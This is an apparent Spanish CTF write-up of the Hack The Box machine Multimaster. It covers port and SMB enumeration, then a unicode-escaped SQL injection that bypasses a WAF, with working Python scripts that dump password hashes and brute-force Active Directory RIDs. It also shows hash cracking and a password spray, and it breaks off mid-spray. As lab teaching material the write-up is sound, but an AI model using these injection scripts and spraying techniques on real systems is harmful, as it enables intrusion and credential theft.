Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Insana |
Puntos: | 50 |
Lanzamiento: | 07-Marzo-2020 |
IP: | 10.10.10.179 |
Primera sangre de usuario: | haqpl |
Primera sangre de system: | snowscan |
Creadores: | MinatoTW & egre55 |
Reconocimiento.
Como siempre comenzaremos con un escaneo a los 65535
puertos para descubrir cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts multimaster.htb --min-rate 3000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 23:39 CDT
Nmap scan report for multimaster.htb (10.10.10.179)
Host is up (0.17s latency).
Not shown: 65513 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49669/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49681/tcp open unknown
49692/tcp open unknown
49701/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 44.28 seconds
Parámetro | Descripción |
---|---|
-p- | Escanea los 65535 puertos de la máquina. |
–open | Muestra solo los puertos abiertos. |
-T5 | Velocidad del escaneo muy agresiva. |
-n | Desactivar la resolución de nombres DNS. |
-oG | Exportar escaneo en formato grepeable. |
–min-rate | Paquetes por segundo. |
Una vez identificado los puertos abiertos, lanzaré scripts de enumeración para detectar los servicios y versiones de los puertos descubiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
intrusionz3r0@kali:~$ nmap -sCV -p53,80,88,135,139,389,445,464,636,3268,3269,3389,5985,9389,49674,49675,49681,49701,49748 -oN targeted multimaster.htb
Nmap scan report for multimaster.htb (10.10.10.179)
Host is up (0.73s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: MegaCorp
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-08-15 19:52:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2020-08-14T16:51:23
|_Not valid after: 2021-02-13T16:51:23
|_ssl-date: 2020-08-15T19:56:43+00:00; +6m51s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49748/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=8/15%Time=5F383B76%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6m50s, deviation: 0s, median: 6m49s
| smb2-security-mode:
| 2.10:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-08-15T19:55:38
|_ start_date: 2020-08-15T16:51:28
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 15 14:52:32 2020 -- 1 IP address (1 host up) scanned in 410.87 seconds
Parámetro | Descripción |
---|---|
-sCV | Es la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios. |
-p | Especifica los puertos a enumerar. |
-oN | Exporta el escaneo en formato nmap. |
Se que son demasiados puertos pero no te preocupes, siempre que tengas demasiados puertos te recomiendo que comiences por los puertos más comunes, en este caso comenzaré por enumerar los servicios samba.
Enumeración samba.
1
2
3
4
5
6
intrusionz3r0@kali:~$ smbclient -L multimaster.htb -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
1
2
intrusionz3r0@kali:~$ smbmap -H multimaster.htb -u "null"
[!] Authentication error on multimaster.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
intrusionz3r0@kali:~$ enum4linux -U multimaster.htb -u "null"
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Aug 18 23:46:06 2020
==========================
| Target Information |
==========================
Target ........... multimaster.htb
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=======================================================
| Enumerating Workgroup/Domain on multimaster.htb |
=======================================================
[E] Can't find workgroup/domain
========================================
| Session Check on multimaster.htb |
========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server multimaster.htb allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name:
==============================================
| Getting domain SID for multimaster.htb |
==============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: MEGACORP
Domain Sid: S-1-5-21-3167813660-1240564177-918740779
[+] Host is part of a domain (not a workgroup)
================================
| Users on multimaster.htb |
================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
enum4linux complete on Tue Aug 18 23:46:24 2020
1
2
intrusionz3r0@kali:~$ cme smb multimaster.htb
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
Cosas que destacan en la enumeración samba:
- OS: Windows Server 2016 Standard 14393 x64
- Dominio: MEGACORP.LOCAL
No logramos sacar mucha información, así que vamos a por el servicio http
.
Enumeración HTTP.
Cuando entro al servicio http
me encuentro con lo siguiente:
Es una página web estática, no hay mucho que ver.
Encontramos un login, pero cuando intento probar unas credenciales en este caso admin:admin
me salta el siguiente mensaje:
Consejo: Siempre que te encuentres con un panel de login recomiendo que intentes probar contraseñas por defecto, inyecciones SQL y por último puedes realizar un ataque de fuerza bruta con diccionarios de SQLi para intentar lograr un bypass al login.
Consejo: Recomiendo también mirar el código fuente, ya que en máquinas estilo CTF puedes encontrar cosas interesantes.
Aprovecharé para comenzar a fuzzear la página web para ver si podemos encontrar algunas rutas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
intrusionz3r0@kali:~$ wfuzz -c --hc 403,404 -t 200 -w /usr/share/wordlists/dirb/big.txt http://multimaster.htb/FUZZ
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://multimaster.htb/FUZZ
Total requests: 20469
===================================================================
ID Response Lines Word Chars Payload
===================================================================
Total time: 87.09734
Processed Requests: 20469
Filtered Requests: 20469
Requests/sec.: 235.0129
Consejo: Te recomiendo que siempre realices fuzzing a todo lo que encuentres ya sea que encuentres otra ruta siempre vuelve a hacer fuzzing hasta que ya no quede nada, también puedes agregar extensiones comunes de archivos, fuzzear subdominios, parámetros, parámetros con diccionarios de LFI, pero siempre siempre siempre has fuzzing hasta que ya no quede nada más.
Descubriendo vulnerabilidad de SQL inyección.
Lo último que nos queda es la siguiente funcionalidad:
Parece ser que esto realiza una petición a una base de datos para poder obtener los nombres y mostrarlos.
Esto nos devuelve una gran cantidad de usuarios.
Comenzaremos a testear está funcionalidad. Cosas que intente:
- Revisar si era vulnerable a XSS.
- Causar un error de sintaxis de SQLi.
- Intentar probar si podía aprovecharme de esa función para poder obtener información interna del servidor.
Nada funcionaba, hasta que leí en el foro de hackthebox
de que había que saltar un WAF.
¿Que es WAF?
Un firewall de aplicaciones web es un tipo de firewall que supervisa, filtra o bloquea el tráfico HTTP hacia y desde una aplicación web. Se diferencia de un firewall normal en que puede filtrar el contenido de aplicaciones web específicas,
Esto me dio una pista, así que me puse a probar muchas formas de bypassear un waf hasta que di con la correcta.
La forma de lograr nuestro cometido era encodeando nuestra inyección en unicode-escape
Intercepto la petición con burpsuite y cuando envió el payload recibimos una respuesta nula.
Esto nos da a entender que es vulnerable a SQL inyección, ahora debemos iterar en el numero de columnas hasta dar con la inyección correcta.
Bien, al parecer hemos dado con la estructura correcta y ahora somos capaces de poder extraer información de la base de datos.
Para hacerlo mas divertido vamos a construirnos una utilidad en python.
Creación de Script para SQL Inyección.
Importamos las librerías a utilizar y la cabecera.
1
2
3
4
#!/usr/bin/env python3
#Author: Intrusionz3r0
import requests,sys,signal,json
Utilizamos la librería signal
para manejar la salida del programa.
1
2
3
4
5
def handler(key,frame):
print("Adios!!")
sys.exit(0)
signal = signal.signal(signal.SIGINT,handler)
Definimos el método que se encargará de decodificar nuestra inyección.
1
2
3
4
5
6
7
8
9
10
def encodeText(texto):
textoF = [] #Creamos una lista.
for x in texto:
char = hex(ord(x)) #Cada carácter lo convierte en hexadecimal.
char = char.replace("0x","\\u00") #Remplazamos el 0x con \\u00.
textoF.append(char) #Lo agregamos a la lista textoF[]
textoF = "".join(textoF) #Unimos toda la lista en una sola cadena de texto.
return textoF #Retornamos la cadena.
Definimos el método para enviar la inyección.
1
2
3
4
5
6
7
def sqli(inyeccion):
url = 'http://multimaster.htb/api/getColleagues' #Definimos la url.
headers = {'Content-Type': 'application/json; charset=utf-8'} #Definimos el header.
r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers) #Hacemos la petición.
parsed = json.loads(r1.text) #Cargamos el JSON.
return (json.dumps(parsed, indent=4, sort_keys=True)) #Devolvemos el JSON con su estructura original
Por ultimo solo creamos nuestro método main
.
1
2
3
4
5
if __name__ == "__main__":
while True: #Bucle Infinito.
inyeccion = input('intrusionz3r0@kali:~$ ') #Leemos por consola.
print(sqli(encodeText(inyeccion))) #Imprimimos la salida.
Script completo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
#Author: Intrusionz3r0
import requests,sys,signal,json
def handler(key,frame):
print("Adios!!")
sys.exit(0)
signal = signal.signal(signal.SIGINT,handler)
def encodeText(texto):
textoF = []
for x in texto:
char = hex(ord(x))
char = char.replace("0x","\\u00")
textoF.append(char)
textoF = "".join(textoF)
return textoF
def sqli(inyeccion):
url = 'http://multimaster.htb/api/getColleagues'
headers = {'Content-Type': 'application/json; charset=utf-8'}
r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
parsed = json.loads(r1.text)
return (json.dumps(parsed, indent=4, sort_keys=True))
if __name__ == "__main__":
while True:
inyeccion = input('intrusionz3r0@kali:~$ ')
print(sqli(encodeText(inyeccion)))
Ahora si podemos enumerar la base de datos mas cómodamente.
Enumeración de la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
intrusionz3r0@kali:~$ a'union select 1,schema_name,3,4,5 from information_schema.schemata-- -
[
{
"email": "4",
"id": 1,
"name": "db_accessadmin",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_backupoperator",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_datareader",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_datawriter",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_ddladmin",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_denydatareader",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_denydatawriter",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_owner",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "db_securityadmin",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "dbo",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "guest",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "INFORMATION_SCHEMA",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "sys",
"position": "3",
"src": "5"
}
]
Yo iré al grano, me iré rápidamente a la base de datos que contiene información valiosa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
intrusionz3r0@kali:~$ a'union select 1,table_name,3,4,5 from information_schema.tables where table_schema='dbo'-- -
[
{
"email": "4",
"id": 1,
"name": "Colleagues",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "Logins",
"position": "3",
"src": "5"
}
]
intrusionz3r0@kali:~$ a'union select 1,column_name,3,4,5 from information_schema.columns where table_name='Logins'-- -
[
{
"email": "4",
"id": 1,
"name": "id",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "password",
"position": "3",
"src": "5"
},
{
"email": "4",
"id": 1,
"name": "username",
"position": "3",
"src": "5"
}
]
Vamos dumpear la información.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
intrusionz3r0@kali:~$ a'union select 1,id,username,password,5 from Logins-- -
[
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "1",
"position": "sbauer",
"src": "5"
},
{
"email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"id": 1,
"name": "2",
"position": "okent",
"src": "5"
},
{
"email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"id": 1,
"name": "3",
"position": "ckane",
"src": "5"
},
{
"email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"id": 1,
"name": "4",
"position": "kpage",
"src": "5"
},
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "5",
"position": "shayna",
"src": "5"
},
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "6",
"position": "james",
"src": "5"
},
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "7",
"position": "cyork",
"src": "5"
},
{
"email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"id": 1,
"name": "8",
"position": "rmartin",
"src": "5"
},
{
"email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"id": 1,
"name": "9",
"position": "zac",
"src": "5"
},
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "10",
"position": "jorden",
"src": "5"
},
{
"email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"id": 1,
"name": "11",
"position": "alyx",
"src": "5"
},
{
"email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"id": 1,
"name": "12",
"position": "ilee",
"src": "5"
},
{
"email": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
"id": 1,
"name": "13",
"position": "nbourne",
"src": "5"
},
{
"email": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
"id": 1,
"name": "14",
"position": "zpowers",
"src": "5"
},
{
"email": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
"id": 1,
"name": "15",
"position": "aldom",
"src": "5"
},
{
"email": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
"id": 1,
"name": "16",
"position": "minatotw",
"src": "5"
},
{
"email": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
"id": 1,
"name": "17",
"position": "egre55",
"src": "5"
}
]
Crackeando los hashes.
Rápidamente creo una lista con los hashes y usuarios que acabamos de descubrir.
Copio un hash y lo pego en la herramienta hash-identifier
.
Realizo un búsqueda de los cifrados disponibles en hashcat y comienzo a probar.
1
2
3
4
intrusionz3r0@kali:~$ hashcat -h | grep 384
10800 | SHA2-384 | Raw Hash
17500 | SHA3-384 | Raw Hash
17900 | Keccak-384 | Raw Hash
1
2
3
4
intrusionz3r0@kali:~$ sudo hashcat -m 17500 passwords.txt /usr/share/wordlists/rockyou.txt --outfile cred.txt --force
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
¡¡Eureka!!
Ahora que tenemos unas contraseñas podemos realizar un ataque de fuerza bruta utilizando CrackMapExec para poder ver si damos con unas credenciales validas.
¡¡Mierda!!
No hemos dado con ningunas credenciales.
Enumeración del controlador de dominio vía SQL inyección.
Después de un tiempo encontré el siguiente artículo: Hacking SQL Server: Enumerating Domain Accounts. En resumen nosotros podemos enumerar las cuentas de un dominio de active directory realizando fuzzing al identificador RID.
¿Que es el RID?
El RID es un identificador único e incremental que se le asigna a un objeto en un directorio activo, por lo que cada uno de los usuarios de dominio, grupos y equipos tienen un identificador propio.
Comenzaremos obteniendo el nombre de dominio. (Aunque ya lo sabemos es por cuestiones de aprendizaje)
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT DEFAULT_DOMAIN()),3,4,5-- -
[
{
"email": "4",
"id": 1,
"name": "MEGACORP",
"position": "3",
"src": "5"
}
]
Luego tendremos que colocar una cuenta de prueba, en este caso Domain Admins
ya que es una cuenta muy común y sabemos sin dudar que existe.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT SUSER_SID('MEGACORP\Domain Admins')),3,4,5-- -
[
{
"email": "4",
"id": 1,
"name": "\u0001\u0005\u0000\u0000\u0000\u0000\u0000\u0005\u0015\u0000\u0000\u0000\u001c\u0000\u00d1\u00bc\u00d1\u0081\u00f1I+\u00df\u00c26\u0000\u0002\u0000\u0000",
"position": "3",
"src": "5"
}
]
Esto debería arrojarnos el RID
pero lamentablemente nos lo devuelve codificado, pero no te preocupes podemos utilizar la función sys.fn_varbintohexstr
de SQL Server para decodificar esto.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,sys.fn_varbintohexstr((SELECT SUSER_SID('MEGACORP\Domain Admins'))),3,4,5-- -
[
{
"email": "4",
"id": 1,
"name": "0x0105000000000005150000001c00d1bcd181f1492bdfc23600020000",
"position": "3",
"src": "5"
}
]
Después utilizamos la función UPPER
para convertir la consulta en mayúsculas.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,UPPER(sys.fn_varbintohexstr((SELECT SUSER_SID('MEGACORP\Domain Admins')))),3,4,5-- -
[
{
"email": "4",
"id": 1,
"name": "0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000",
"position": "3",
"src": "5"
}
]
Ahora que tenemos el RID podemos extraer el SID del dominio tomando los primeros 48 bytes.
¿Que es SID?
El SID de dominio es el identificador único del dominio y la base de cada RID completo.
SID + RID: 0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000
SID: 0X0105000000000005150000001C00D1BCD181F1492BDFC236 00020000
RID: 0X0105000000000005150000001C00D1BCD181F1492BDFC236 00020000
Nuestro trabajo será fuzzear en los 8 últimos bytes para poder enumerar las cuentas del directorio activo, pero no sera tan facil ya que cada numero debe estar en hexadecimal y debe ser convertido en un formato que SQL Server sea capaz de interpretar.
Por ejemplo:
Número: 500
Hex: 0x1F4
Paso 1: 01F4 (500)
Paso 2: F401 (Formato correcto) (Invertido)
Paso 3: F4010000 (Colocamos el relleno para completar los bytes)
Paso 4: Lo concatenamos con el SID base.
Pero la pregunta es: ¿Después de obtener todos los RID de las cuentas de dominio que sigue?
Pues utilizar la función SUSER_SNAME
para obtener el nombre identificativo.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ a' union select 1,(SELECT SUSER_SNAME(0X0105000000000005150000001C00D1BCD181F1492BDFC23600020000)),3,4,5-- -
[
{
"email": "4",
"id": 1,
"name": "MEGACORP\\Domain Admins",
"position": "3",
"src": "5"
}
]
Asi lograremos obtener una gran lista de muchas cuentas del Active directory.
Para lograr esto vamos a actualizar nuestra herramienta.
Actualizando el script.
Creamos una variable global que almacene el SID del dominio e importamos la librería re
y pwn
.
1
2
3
import re
from pwn import *
SID = "0X0105000000000005150000001C00D1BCD181F1492BDFC236"
Definimos el método que se encargará de fuzzear.
1
2
3
4
5
6
7
8
9
10
def fuzzing(num):
array=[] #Creamos una lista.
hexn = hex(num) #Convertimos el numero en hexadecimal.
hexn = hexn.replace("x","") #Eliminamos el carácter X.
for char in str(hexn): #Recorremos cada dígito del número.
array.append(char) #Cada dígito lo guardamos en la lista.
ID = str(array[2]+array[3]+array[0]+array[1]) #Invertimos el numero y lo convertimos en un formato entendible para SQL Server.
return str(ID+"0000") #Por último lo retornamos.
Creó un nuevo método de enviar la inyección.
1
2
3
4
5
6
def sqlif(inyeccion):
url = 'http://multimaster.htb/api/getColleagues' #Definimos la url.
headers = {'Content-Type': 'application/json; charset=utf-8'} #Definimos el header.
r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers) #Enviamos la petición.
regex = re.findall(r'(?P<jamon>\w*[A-Z]\\\\\w*)',r1.text) #Utilizamos la libreria re pata filtrar solo lo que nos interesa de la respuesta.
return regex #Retornamos la respuesta final.
Por último actualizamos nuestro método main.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if __name__ == "__main__":
if(len(sys.argv) == 2): #Si recibe dos parametros entra aquí.
inyeccion = sys.argv[1] #Si solo enviamos un parámetro realizara una inyección.
print(sqli(encodeText(inyeccion))) #Retorna la inyección
elif(len(sys.argv)==3): #Si recibe tres parámetros entra aquí.
p1 = log.progress("Enumeración")
p1.status("Buscando cuentas de dominio.")
print("\nSID: " + SID + "\n")
#Recibe dos parámetros
min = sys.argv[1] #De que número va a empezar a fuzzear.
max = sys.argv[2] #A que número finaliza.
for num in range(int(min),int(max)): #Definimos un for con los rangos que le dimos.
RID = SID + fuzzing(num) #Obtenemos el RID completo.
inyeccion = "-' union select 1,(SELECT SUSER_SNAME({})),3,4,5--".format(RID) #Realizamos la inyección que nos devolvera los nombres de cuentas de usuarios del Controlador de dominio.
if( len(sqlif(encodeText(inyeccion))) != 0 ): #Si la longitud de la respuesta es diferente de 0 entra aquí.
print("Usuario encontrado: " + str(sqlif(encodeText(inyeccion))[0])) #Me imprime el nombre de usuario.
p1.success("Proceso Finalizado")
elif(len(sys.argv) != 2 or len(sys.argv) != 3): #Si no es ninguna de los if de arriba entra aquí. (Panel de ayuda)
log.info("Uso: python3 {} <Inyeccion>".format(sys.argv[0]))
log.info("Uso: python3 {} <Min> <Max>".format(sys.argv[0]))
sys.exit(0)
Script completo: multimasterAttack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
#Author: Intrusionz3r0
import requests,sys,signal,json,re
from pwn import *
SID = "0X0105000000000005150000001C00D1BCD181F1492BDFC236"
def handler(key,frame):
print("Adios!!")
sys.exit(0)
signal = signal.signal(signal.SIGINT,handler)
def fuzzing(num):
array=[]
hexn = hex(num)
hexn = hexn.replace("x","")
for char in str(hexn):
array.append(char)
ID = str(array[2]+array[3]+array[0]+array[1])
return str(ID+"0000")
def encodeText(texto):
textoF = []
for x in texto:
char = hex(ord(x))
char = char.replace("0x","\\u00")
textoF.append(char)
textoF = "".join(textoF)
return textoF
def sqli(inyeccion):
url = 'http://multimaster.htb/api/getColleagues'
headers = {'Content-Type': 'application/json; charset=utf-8'}
r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
parsed = json.loads(r1.text)
return (json.dumps(parsed, indent=4, sort_keys=True))
def sqlif(inyeccion):
url = 'http://multimaster.htb/api/getColleagues'
headers = {'Content-Type': 'application/json; charset=utf-8'}
r1 = requests.post(url, data = '{"name":"'+str(inyeccion)+'"}', headers=headers)
regex = re.findall(r'(?P<jamon>\w*[A-Z]\\\\\w*)',r1.text)
return regex
if __name__ == "__main__":
if(len(sys.argv) == 2):
inyeccion = sys.argv[1]
print(sqli(encodeText(inyeccion)))
elif(len(sys.argv)==3):
p1 = log.progress("Enumeración")
p1.status("Buscando cuentas de dominio.")
print("\nSID: " + SID + "\n")
min = sys.argv[1]
max = sys.argv[2]
for num in range(int(min),int(max)):
RID = SID + fuzzing(num)
inyeccion = "-' union select 1,(SELECT SUSER_SNAME({})),3,4,5--".format(RID)
if( len(sqlif(encodeText(inyeccion))) != 0 ):
print("Usuario encontrado: " + str(sqlif(encodeText(inyeccion))[0]))
p1.success("Proceso Finalizado")
elif(len(sys.argv) != 2 or len(sys.argv) != 3):
log.info("Uso: python3 {} <Inyeccion>".format(sys.argv[0]))
log.info("Uso: python3 {} <Min> <Max>".format(sys.argv[0]))
sys.exit(0)
Obteniendo cuentas de dominio.
Crearé una lista con los cuentas de dominio que acabamos de encontrar para realizar un ataque de fuerza bruta para dar con la contraseña, a ver si ahora si tenemos suerte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
intrusionz3r0@kali:~$ cme smb multimaster.htb -u users2.txt -p passwords.txt
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Administrator:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Administrator:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Administrator:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\Guest:banking1 STATUS_LOGON_FAILURE
